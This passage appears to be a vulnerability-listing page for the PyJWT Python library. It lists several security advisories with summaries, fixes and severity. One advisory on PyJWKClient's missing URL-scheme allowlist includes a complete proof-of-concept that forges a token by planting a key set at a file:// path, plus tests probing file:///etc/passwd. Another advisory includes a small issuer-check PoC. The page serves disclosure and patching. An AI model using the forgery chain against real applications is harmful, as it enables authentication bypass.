- continue using a deprecated or blocked algorithm after the server thought it had disabled it
- authenticate successfully as their own client / tenant / federation principal even though they do not satisfy the configured algorithm policy
What this issue does not do by itself:
- it does not let an attacker forge tokens without access to a valid signing key or signing oracle
- it does not automatically enable cross-tenant impersonation unless the surrounding application trust model adds another flaw | fixed | osv:GHSA-jq35-7prp-9v3f |
| medium | any | 2.13.0 | PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes > [!NOTE]
> The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.
## Summary
PyJWKClient passes its `uri` argument directly to `urllib.request.urlopen()` which uses Python stdlib's default `OpenerDirector` registering `HTTPHandler`, `HTTPSHandler`, `FTPHandler`, **`FileHandler`**, and `DataHandler`. There is currently no documented option to restrict which schemes PyJWKClient will fetch.
If an application's `jku` URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:
1. Cause PyJWKClient to read arbitrary local files via `file://` (SSRF on local filesystem) — the file's contents are passed to `json.load`.
2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).
3. **Forge tokens that PyJWT verifies as valid** — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and `jwt.decode()` accepts.
## Affected versions
Tested and reproducible on **PyJWT 2.11.0 and 2.12.1**. Likely all versions back to PyJWKClient introduction.
## Reproducer (full attack chain — verified empirically)
```python
import jwt as pyjwt
from jwt import PyJWKClient
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json, base64, time
# Attacker generates keypair (no relation to real IdP)
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub_n = key.public_key().public_numbers().n
def b64u(n):
bl = (n.bit_length() + 7) // 8
return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode()
# Attacker writes JWK Set containing their public key to /tmp
jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256",
"n":b64u(pub_n),"e":"AQAB"}]}
with open("/tmp/attacker.json","w") as f:
json.dump(jwks, f)
# Attacker mints token signed with their private key, jku=file://
priv_pem = key.private_bytes(serialization.Encoding.PEM,
serialization.PrivateFormat.PKCS8, serialization.NoEncryption())
now = int(time.time())
token = pyjwt.encode(
{"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600},
priv_pem, algorithm="RS256",
headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"})
# Vulnerable application pattern: caller derives jku from token header
# and passes to PyJWKClient without scheme validation
header = pyjwt.get_unverified_header(token)
client = PyJWKClient(header["jku"]) # <-- accepts file:// silently
key_obj = client.get_signing_key_from_jwt(token)
decoded = pyjwt.decode(token, key_obj.key, algorithms=["RS256"],
audience="target-app")
print("Token verified:", decoded)
# Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}
```
## Cross-library evidence — PyJWT is the outlier
The same composition pattern is structurally safe in 4 other mainstream JWT libraries:
| Library | Behavior on `jku=file://...` | Mechanism |
|---|---|---|
| **PyJWT 2.12.1** (Python) | **Reads file from disk, parses, uses for signature verification** | urllib default OpenerDirector includes FileHandler |
| panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG `fetch()` rejects non-http(s) at fetch-spec layer |
| golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | `http.DefaultTransport` only registers http/https |
| Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | `HttpDocumentRetriever` defaults `RequireHttps=true` |
| Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build |
PyJWT is the only library of these 5 where the default behavior allows `file://` to reach the fetch layer.
## Recommended fix
Add `allowed_schemes: tuple[str, ...] = ("https", "http")` kwarg to `PyJWKClient.__init__`. Pre-validate URL scheme before invoking `urllib.request.urlopen`. URLs with disallowed schemes raise `PyJWKClientError` before any fetch is attempted.
### Diff sketch against `jwt/jwks_client.py`
```python
def __init__(
self, uri: str,
cache_keys: bool = False, max_cached_keys: int = 16,
cache_jwk_set: bool = True, lifespan: float = 300,
headers: dict[str, Any] | None = None, timeout: float = 30,
ssl_context: SSLContext | None = None,
allowed_schemes: tuple[str, ...] = ("https", "http"), # NEW
):
"""...
:param allowed_schemes: URL schemes the JWKS endpoint is permitted
to use. Default ``("https", "http")``. Pass ``("https",)`` for
HTTPS-only operation. URLs with disallowed schemes raise
``PyJWKClientError`` before any fetch is attempted.
"""
# ... existing init code ...
self.allowed_schemes = allowed_schemes
self._validate_uri_scheme()
def _validate_uri_scheme(self) -> None:
"""Reject the configured URI early if its scheme isn't allowed."""
from urllib.parse import urlparse
parsed = urlparse(self.uri)
scheme = parsed.scheme.lower()
if not scheme:
raise PyJWKClientError(
f"PyJWKClient URI '{self.uri}' has no scheme; expected one of "
f"{self.allowed_schemes!r}")
if scheme not in self.allowed_schemes:
raise PyJWKClientError(
f"PyJWKClient URI scheme '{scheme}' is not in allowed_schemes "
f"{self.allowed_schemes!r}; refusing to fetch from this URL")
```
### Tests to add
```python
def test_pyjwkclient_rejects_file_scheme():
with pytest.raises(PyJWKClientError, match="not in allowed_schemes"):
PyJWKClient("file:///etc/passwd")
def test_pyjwkclient_rejects_ftp_scheme():
with pytest.raises(PyJWKClientError):
PyJWKClient("ftp://example.org/keys.json")
def test_pyjwkclient_rejects_data_scheme():
with pytest.raises(PyJWKClientError):
PyJWKClient('data:application/json,{"keys":[]}')
def test_pyjwkclient_caller_can_lock_to_https_only():
with pytest.raises(PyJWKClientError):
PyJWKClient("http://internal.test/jwks.json", allowed_schemes=("https",))
```
### Compatibility
- Default `allowed_schemes=("https", "http")` preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints
- Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)
- No changes to urllib fetch logic itself — the fix is a pre-validation gate
## Class precedent
This is the same class as **CVE-2024-21643** (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.
## Prior art (verified 2026-05-06)
Confirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):
- No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling
- No existing GitHub issue or PR addressing scheme allowlisting
- No silent fix in CHANGELOG through 2.12.1
- 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) — none cover this class
## Credit
Reported by Keijo Tuominen — independent security research at CMHT.tech (https://cmht.tech).
Reproduction artifacts available on request: full multi-language probe pack (5 wrappers × 25 fixtures × 125 cells) demonstrating cross-library divergence at the URL-scheme boundary. | fixed | osv:GHSA-993g-76c3-p5m4 |
| medium | any | 9c528670c455b8d948aff95ed50e22940d1ad3fc | PYSEC-2022-202: advisory PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify `jwt.algorithms.get_default_algorithms()` to get support for all algorithms, or specify a single algorithm. The issue is not that big as `algorithms=jwt.algorithms.get_default_algorithms()` has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding. | fixed | osv:PYSEC-2022-202 |
| medium | any | 1.5.1 | PYSEC-2017-24: advisory In PyJWT 1.5.0 and below the `invalid_strings` check in `HMACAlgorithm.prepare_key` does not account for all PEM encoded public keys. Specifically, the PKCS1 PEM encoded format would be allowed because it is prefaced with the string `-----BEGIN RSA PUBLIC KEY-----` which is not accounted for. This enables symmetric/asymmetric key confusion attacks against users using the PKCS1 PEM encoded public keys, which would allow an attacker to craft JWTs from scratch. | fixed | osv:PYSEC-2017-24 |
| low | any | 2.13.0 | PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS) > [!NOTE]
> The vulnerability surfaces only when a JWKS fetch fails; an attacker can attempt to provoke that with sustained unknown-kid traffic, but the outcome depends on upstream JWKS-endpoint behavior (rate limiting, transient errors) which is beyond the attacker's control. Impact is reduced auth availability until the next successful fetch, not complete denial of service.
## Summary
PyJWKClient.get_signing_key() forces a fresh HTTP request to the JWKS endpoint for every JWT with an unknown kid value, with no rate limiting. Since kid comes from the unverified token header, an attacker can trigger unlimited outbound requests.
Additionally, fetch_data() finally block clears the JWKS cache on network error.
## Root Cause
jwt/jwks_client.py:172-198 - get_signing_key(kid) calls get_signing_keys(refresh=True) for unknown kids, bypassing TTL cache with no cooldown.
jwt/jwks_client.py:120-122 - finally block writes None to cache on error, clearing valid data.
## Impact
- DoS against JWKS endpoint (unlimited requests per invalid token)
- DoS against application (network I/O latency)
- Cascading failure (rate limiting clears cache, breaking legitimate auth)
## Suggested Fix
1. Add refresh cooldown (refuse refresh more than once per TTL period)
2. Move cache write from finally to else block
## Affected Versions
All versions with PyJWKClient (2.4.0 through 2.12.1) | fixed | osv:GHSA-fhv5-28vv-h8m8 |
| low | 2.10.0 | 2.10.1 | PyJWT Issuer field partial matches allowed ### Summary
The wrong string if check is run for `iss` checking, resulting in `"acb"` being accepted for `"_abc_"`.
### Details
This is a bug introduced in version [2.10.0](https://github.com/jpadilla/pyjwt/commit/1570e708672aa9036bc772476beae8bfa48f4131#diff-6893ad4a1c5a36b8af3028db8c8bc3b62418149843fc382faf901eaab008e380R366): checking the "iss" claim
changed from `isinstance(issuer, list)` to `isinstance(issuer,
Sequence)`.
```diff
- if isinstance(issuer, list):
+ if isinstance(issuer, Sequence):
if payload["iss"] not in issuer:
raise InvalidIssuerError("Invalid issuer")
else:
```
Since str is a Sequnce, but not a list, `in` is also used for string
comparison. This results in `if "abc" not in "__abcd__":` being
checked instead of `if "abc" != "__abc__":`.
### PoC
Check out the unit tests added here: https://github.com/jpadilla/pyjwt-ghsa-75c5-xw7c-p5pm
```python
issuer = "urn:expected"
payload = {"iss": "urn:"}
token = jwt.encode(payload, "secret")
# decode() succeeds, even though `"urn:" != "urn:expected". No exception is raised.
with pytest.raises(InvalidIssuerError):
jwt.decode(token, "secret", issuer=issuer, algorithms=["HS256"])
```
### Impact
I would say the real world impact is not that high, seeing as the signature still has to match. We should still fix it.
| fixed | osv:GHSA-75c5-xw7c-p5pm |
Get this data programmatically \u2014 free, no authentication.
curl https://depscope.dev/api/bugs/pypi/PyJWT